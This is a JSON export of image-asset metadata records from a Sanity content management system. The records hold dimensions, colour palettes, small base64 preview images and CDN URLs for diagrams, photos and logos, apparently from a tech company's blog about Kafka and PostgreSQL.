{"_createdAt":"2022-09-30T15:36:06Z","_id":"image-fdbe0b431f7fd700c07b498068c93f848f2d8374-1727x699-png","_rev":"vDQRRYe9nRreptIRp5kB6L","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:06Z","assetId":"fdbe0b431f7fd700c07b498068c93f848f2d8374","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9SPCNv}x]w}t8.mx[V@o}V@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4706723891273246,"height":699,"width":1727},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABkklEQVQokT2Oi27bMAxF/f//tmHDtq5NUzdx4lh+SNaDlJQ26RnqAiNwwAOSuGCTtRCDkjVTxVGDoUpApxUdFopP6GhRYxHJTFKwUohamdbCGgteKyZmvBYaFSWskc9exKNhpkgk2ZU4LmiIxMlupCQsQViTkCQzu4gPQvj0kAiiNGVZkctEsSt1ceRholqPDjPpZMjLSuoN6WzIdkWGGZ3sNg/dgJiFbP2WkRdHU48D+U9L7QbKsUefWsrZoO0ReXzZPO060u5I7UfK7kB9OW3z+LBH2xPXfuL63PF2MjQ6WNK+R81CWkb8cETsTJwu+KFDnGO9WNzFbp/kfqCYCbGOpe+J88x7FG4uco9Ck5zHX2bEeWJwrOtISp4QLN5PiCT8+kUWRZ0je49KwnlLksjtduPj42Oj0X4k7o/oZUR7g7yeyGZGzwNyOFMmi3bDxuaHnnw21M3PFLNwf3vns7bA+tyRv/2l7jvq04Hy/ZFre6Y+tJQfT1xfe+rvPeXX8+bl527bXdv+63Z/4l6v/wP/Ac7qXa7QUSOqAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#625c87","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b91c46","foreground":"#fff","population":0.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4d2a4","foreground":"#000","population":0.49,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4d2a4","foreground":"#000","population":0.49,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#71dbf9","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4fa071","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7265e","foreground":"#fff","population":0.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fdbe0b431f7fd700c07b498068c93f848f2d8374-1727x699.png","path":"images/sczeoy4w/production/fdbe0b431f7fd700c07b498068c93f848f2d8374-1727x699.png","sha1hash":"fdbe0b431f7fd700c07b498068c93f848f2d8374","size":162562,"uploadId":"oButLdwNeSWHdHRX2cIF9eTOxrdBetrw","url":"https://cdn.sanity.io/images/sczeoy4w/production/fdbe0b431f7fd700c07b498068c93f848f2d8374-1727x699.png"} {"_createdAt":"2022-06-30T20:09:27Z","_id":"image-fdf3a8d1023bf4c44ede3a7afff1de023b9ec161-1175x674-png","_rev":"6BJll63fjycTvao7AuprRj","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:03:13Z","assetId":"fdf3a8d1023bf4c44ede3a7afff1de023b9ec161","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M03IYJj[j[ofWBt7ayj[j[j[ofoffQayay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7433234421364985,"height":674,"width":1175},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAApUlEQVQokX2SURICIQxDOQXQ1t7/mopZnxl3xvxsgaSkYUdVPW6oqjTUGxwJETEiQgwVEbENYYAmrLUG7V3mGu0jzo9+zjnwgNiNZCY7cu4eL7HfBkOT771VVFV3a0fDH7HW0osqLxyRWXfrpkusD4NBlQsvMlOB4/Gy/ROYp6rLqSGftMmDnNZaf2Kn9RETHYPBUxcI/mxfMc79ZyLF+yPr6CV+AvqtQfINr/fAAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":4.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":4.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#606060","foreground":"#fff","population":1.81,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fdf3a8d1023bf4c44ede3a7afff1de023b9ec161-1175x674.png","path":"images/sczeoy4w/production/fdf3a8d1023bf4c44ede3a7afff1de023b9ec161-1175x674.png","sha1hash":"fdf3a8d1023bf4c44ede3a7afff1de023b9ec161","size":39982,"uploadId":"GosQgLza7fAVQNmViI0FQuw8vQZZOBYM","url":"https://cdn.sanity.io/images/sczeoy4w/production/fdf3a8d1023bf4c44ede3a7afff1de023b9ec161-1175x674.png"} {"_createdAt":"2022-06-15T20:02:29Z","_id":"image-feaa68a7ccc222c44e7a5edbbdc65ec42d4a0666-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdcYP","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:00Z","assetId":"feaa68a7ccc222c44e7a5edbbdc65ec42d4a0666","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MbOy*E?^^,9an~TfRjoMoyRP~qD%D%$%kV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADTklEQVQokR3P728TdRzA8ftX9IExYJbpNn6UrnVMoltXEOMTmUZjNBic4OgwmhZl0xCRYMyyNZIwu4Z0oaMYY5yQdZMCGRC71rWlK9f2ev1xvfa+3+/d9cd1jM5+PkYevPN6/ObyRXI6m5M96WzpRjpbui6IckCS1QChzQBlRkAhjYAka4FymQWUCgtQWrtOVWOBqi0PYcYcUVteorb8VDW8VDXOcpmsNJdIZtORaFILRxI0FueZmK8yhTYZVbfY43SR/bG0zJYWfSx+a4Fl1+8xUZRIRalVKW1UVIlWtc0c0zaFnFpSbnClMlsU81U1I0jIZ4ooiDJKsoaE1VFRKN6+fQcnHBM4/t4IXhk/jL+cd6DX48Xg6l2MRWJY+OsOavM+bM4v1BuroRWOMOMaYQZRaBMV2uwQZgChDdCqAlRTf4Lv8jl44zUrWLqeg1Hz83B0oBeOHjkCY5+dhPPnJsHjcnUefHEG2dcubds9vczRZ/8tStUWUtWA/yUKwZq4ioW7k/jjlzbc17sbX3rxBdjbvQv39LwMlv5+sNlsYLeNwNu2EXB/8iHmv5vQtzzTQY6ypp+yJqWsgYzVgdI6krKA2qYPo7+dws8/MGNP9y7s7e1Dk8mEVqsVh4eH0W63o7nfggPm/TB7/C2Upk/rzRX/CsdYza8ynWpUQ42yjkYY6FIStMQchHxj8PGxQThg2gtmcz+YTKZnDR48CIPWV6HvlR5409INvzuGsHHNqW8nVoKcTohfVxSiK1WsKXKnrsjQlHmoZ25CfMUNly+dBcfJE/D+6Dsw9PohMO3fB5a+PWDv6oHh3V3w6eEDnfDsCdx5OK/9m3+4zDUK2UVNTDOaT6MuCWhURGxVBGyVk1jLRbCUWMPYvZsY/PUqzs9cxG+/GkfXu8fw4sAQTlkP4eyZ4yiGfIjiWg1K60HO4P+ZUZPrUTkVLTAxmWnJaf5JJc1vV3i+XXnM71RSfLv8iG/lozxLrfHC/aXsoyuzhY0xhxQcO1UMeWdElgwVUIrEoRS+ym2JidGGEPtGz8UvNIrJqSdyyvVUTjnb5aSzXU4421LMuSNtODvlDSfKGy4srk/CUuDS06nv3drP7p/I37cubOUe/ADF8CSUwh/9B87elIcHPfjlAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f4542","foreground":"#fff","population":1.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a4f0a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eda126","foreground":"#000","population":3.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cc9893","foreground":"#000","population":0.65,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2c492","foreground":"#000","population":0.58,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#68749c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eda126","foreground":"#000","population":3.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"feaa68a7ccc222c44e7a5edbbdc65ec42d4a0666-1567x844.png","path":"images/sczeoy4w/production/feaa68a7ccc222c44e7a5edbbdc65ec42d4a0666-1567x844.png","sha1hash":"feaa68a7ccc222c44e7a5edbbdc65ec42d4a0666","size":213292,"uploadId":"sr1gPtAL66vf9PuPRPS71DPztSSemcWu","url":"https://cdn.sanity.io/images/sczeoy4w/production/feaa68a7ccc222c44e7a5edbbdc65ec42d4a0666-1567x844.png"} {"_createdAt":"2022-12-09T13:34:15Z","_id":"image-febf6c6a65d95d067e65f5b834573312c6472f4b-1055x1319-png","_rev":"Bp455s9rtQ49wRO6vaDXY7","_type":"sanity.imageAsset","_updatedAt":"2022-12-09T13:34:15Z","assetId":"febf6c6a65d95d067e65f5b834573312c6472f4b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"d8H^w:^*00O6^rM{D*xa06Ib}uxts2t1.6o_4@E4^+xG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7998483699772555,"height":1319,"width":1055},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a2c55","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f8b10","foreground":"#fff","population":1.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9a754c","foreground":"#fff","population":6.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c09473","foreground":"#000","population":2.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6b294","foreground":"#000","population":4.47,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a754c","foreground":"#fff","population":6.74,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c9c525","foreground":"#000","population":0.82,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"likas-vlcek.png","path":"images/sczeoy4w/production/febf6c6a65d95d067e65f5b834573312c6472f4b-1055x1319.png","sha1hash":"febf6c6a65d95d067e65f5b834573312c6472f4b","size":2564758,"uploadId":"1IEB1WGWuA9KfpcWJlZORMU7FGsl0Lka","url":"https://cdn.sanity.io/images/sczeoy4w/production/febf6c6a65d95d067e65f5b834573312c6472f4b-1055x1319.png"} {"_createdAt":"2022-10-26T06:14:24Z","_id":"image-fed7c9734209f5a1d72c7f76766e66af69e5d864-1422x800-png","_rev":"DqbZPlWf2gzTA6NYtPRWod","_type":"sanity.imageAsset","_updatedAt":"2022-10-26T06:29:21Z","altText":"Inside our Kafka Connect service we run the MQTT Source Connector from Stream Reactor","assetId":"fed7c9734209f5a1d72c7f76766e66af69e5d864","description":"A zoom of the demo metro map showing the Apache Kafka Connect and Aiven for Apache Kafka system.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7775,"height":800,"width":1422},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7UlEQVQokW2Sy27aQBSGedRKfYOo6rrqI3QVddNFlKpSFlGyKQ1pKRBAgIDigAu44Ls9M7bnzIxvwtcK2kpVFOnbHX3/4j9/w8T1EyxSY6ghqnlcnah5XLOoCnjuQeZBTkXJjte6obuV5paa8w+3NHBFoAKeA0kYSbjIeXw0LRSpBtMsjrwURHmUf6qHxSadyslUTmZy8mOdrHaJaoTmIzJvlvj2EWQEQYr9RLfoXiWq7rsopDxnUdWYyXF7zJo9+rlHv/ThfgDtkdd90PoXk+mrm93ra+9yQCUd2WCYvqpj3fAw4YwfWFg2pG06XISdiehMRHcqHmaiP6ODsTm4WvTf3K3eNsmHdvB1hjXsILA04uie7wseHVhUNPZ2oZj5Vj9h5IqR78zMcNPd2p+3FPl+Q75J0JoEGxNtkNWU3eaSri0eBAxo40/Dxn9t215NaOmQVNnT/T7wJS28G7PvC/1ytDy73p1deR9bQhqEyvCv/ORVBKqAFx5kPmTcZtFc4R1Jed8dvPw0f3Fhn9+KaTtad56XMS2pyEFkLCp4WHAaM5dpI318Ppy+65m9DUNIUPyMbOLKRKlug+kADhIIC55ULK4QTrcrvJWQ68bH0KR8Vi5VO1z/cpS9YyFOTyNhUUV5SSAjkFFe8Og4vt/IV00aak/RYwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#555571","foreground":"#fff","population":0.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c40c74","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f73160","foreground":"#fff","population":1.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6b1ac","foreground":"#000","population":0.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f73160","foreground":"#fff","population":1.29,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c74a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9790e","foreground":"#fff","population":0.47,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"metromap-step1.png","path":"images/sczeoy4w/production/fed7c9734209f5a1d72c7f76766e66af69e5d864-1422x800.png","sha1hash":"fed7c9734209f5a1d72c7f76766e66af69e5d864","size":77793,"title":"Minor configuration on the Kafka Connect line","uploadId":"E2BqVmU6MEhl0PaNORRxs52vSpAEnVo7","url":"https://cdn.sanity.io/images/sczeoy4w/production/fed7c9734209f5a1d72c7f76766e66af69e5d864-1422x800.png"} {"_createdAt":"2022-09-17T18:34:13Z","_id":"image-fee266f781e2ccbd352271c005a4a95745091c96-1242x280-gif","_rev":"StyfnzRSyhTCbsBlPUM4ri","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T18:34:13Z","assetId":"fee266f781e2ccbd352271c005a4a95745091c96","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.435714285714286,"height":280,"width":1242},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAEABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAMI/8QAHBAAAgMAAwEAAAAAAAAAAAAAAAECAwQREiFx/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/ANGYK4vOm4rkhqz1ytk3H0AC2aiuNSXRP6gAB//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6c6c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#30b040","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#856b71","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc8ae","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c9f4e1","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#856b71","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e45174","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"postgresql-insert-kafka-flow-kcat-min.gif","path":"images/sczeoy4w/production/fee266f781e2ccbd352271c005a4a95745091c96-1242x280.gif","sha1hash":"fee266f781e2ccbd352271c005a4a95745091c96","size":3351439,"uploadId":"Nbl83RekM69JNlOEfBwk4FMui2Vio6uC","url":"https://cdn.sanity.io/images/sczeoy4w/production/fee266f781e2ccbd352271c005a4a95745091c96-1242x280.gif"} {"_createdAt":"2023-10-30T15:53:01Z","_id":"image-feec965dc707d63dd1ae255b15cbe70452308473-2846x1894-jpg","_rev":"yGYi2HTu7doJg1fO7ecAtx","_type":"sanity.imageAsset","_updatedAt":"2023-10-30T15:53:01Z","assetId":"feec965dc707d63dd1ae255b15cbe70452308473","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VA7d%rM{00?b~qofj[WBWBof4nt7_3IU9FIUj[%MWBM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5026399155227033,"height":1894,"width":2846},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHAQj/xAAkEAABAwIEBwAAAAAAAAAAAAABAAIDBAUGITFRBxITIiQyYf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDlqNvM4DdU/GOBaK1cPLXfKOpEkk4HUYSMidlMIj5DB9ThU3aefCTKGXujhnJYSdARogS3HNCx3sUIP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Morvarid Aprin_DSC6638highres.jpg","path":"images/sczeoy4w/production/feec965dc707d63dd1ae255b15cbe70452308473-2846x1894.jpg","sha1hash":"feec965dc707d63dd1ae255b15cbe70452308473","size":1601497,"uploadId":"mMCjrZGFTY6n8qd7NMC4vJOjller82WO","url":"https://cdn.sanity.io/images/sczeoy4w/production/feec965dc707d63dd1ae255b15cbe70452308473-2846x1894.jpg"} {"_createdAt":"2022-06-16T22:54:05Z","_id":"image-fefd4000dd258618c4feb086f5c521c26d3344de-222x128-png","_rev":"oamrAPLmQLQjd9jh7ZoGes","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:05Z","assetId":"fefd4000dd258618c4feb086f5c521c26d3344de","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MP6-09y,M4QqafVvVvVvaMayQqaMkBVbkB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.734375,"height":128,"width":222},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsSAAALEgHS3X78AAACb0lEQVQokW2SS0hVURSG/3PtQRDZ+x1mRlpmj5uG2csk7n+9WpgV/keLKOhhRCMrKJoERfSioFEIjYKECBrlWkdtUFCTIGjUpAZFETSNhsU+9xgGHdjsvc/+17fX2v9CPFJEz3ABcULIOT7PkLNTzgtydsm5IE4Y9b1oT89DTJj/+8UBYBksCEeKkZzL5Twu5x05L8u5S87pQfN3BHBCHH7V8S88HKSw0eK4OARulvOYnKfkPCJnMU64JFw2rkszzWLHL8ifXo10E0rODmbLWJLxqoyDMt6V8aycHXHC+jjhzDhhboIe6TpUaETvaBHlTUL0jqWl1sl4RcbXMn6U8YuMb2W8Lec+OVvkXCfnwjjhNCXMdTzcnla6MD+nXHKgylkpZ7WcG2XslvGcjPdlHJXxcwotv2UsZ7+cB+Ss7xkuzOwaas3d/T2AmtJSIApv6Fwp4yEZb8l4Ucb2IM6ypYzXZXws5xk5m+Ok2BmPFrt6x9rzh16W5p/8sL+i9dqmCaZ4Cnsq4zcZP8n4TMZLMu6RcYOcjcHlvY92rq3trlpc211VveFE7ar6vpqqpdsWLJpaOWUegHmIMBfArABslfGGjO9l/CnjLxm/yvhGxgcyHu0ZLtSv7Fw2H8AaAM0AmgBsytbbAGwF0JL+k3OajGtk7JdxSMZ3mRk/ZPyegQeazzc0IEJjlIsKiLAbEdoAFAAUM2gDgBWpy6EV5JwrY5OMPTKel/GejE8yY+603WzaghzWI0IrkMJ2ZJkFWMh8BoBJ5V56Xu6reIShdSZnri+TMS/jQTlVGtxaVzEltwhADSJUA1gSuiUblQByweU/V6osfmaSPnAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345334","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#207b12","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#79ac70","foreground":"#fff","population":0.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#79ac70","foreground":"#fff","population":0.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7cc470","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#64ae5c","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34b41c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-innovation.png","path":"images/sczeoy4w/production/fefd4000dd258618c4feb086f5c521c26d3344de-222x128.png","sha1hash":"fefd4000dd258618c4feb086f5c521c26d3344de","size":2933,"uploadId":"z0kQrvcQaloupqAeO1wLBHiGSqrjc6sw","url":"https://cdn.sanity.io/images/sczeoy4w/production/fefd4000dd258618c4feb086f5c521c26d3344de-222x128.png"} 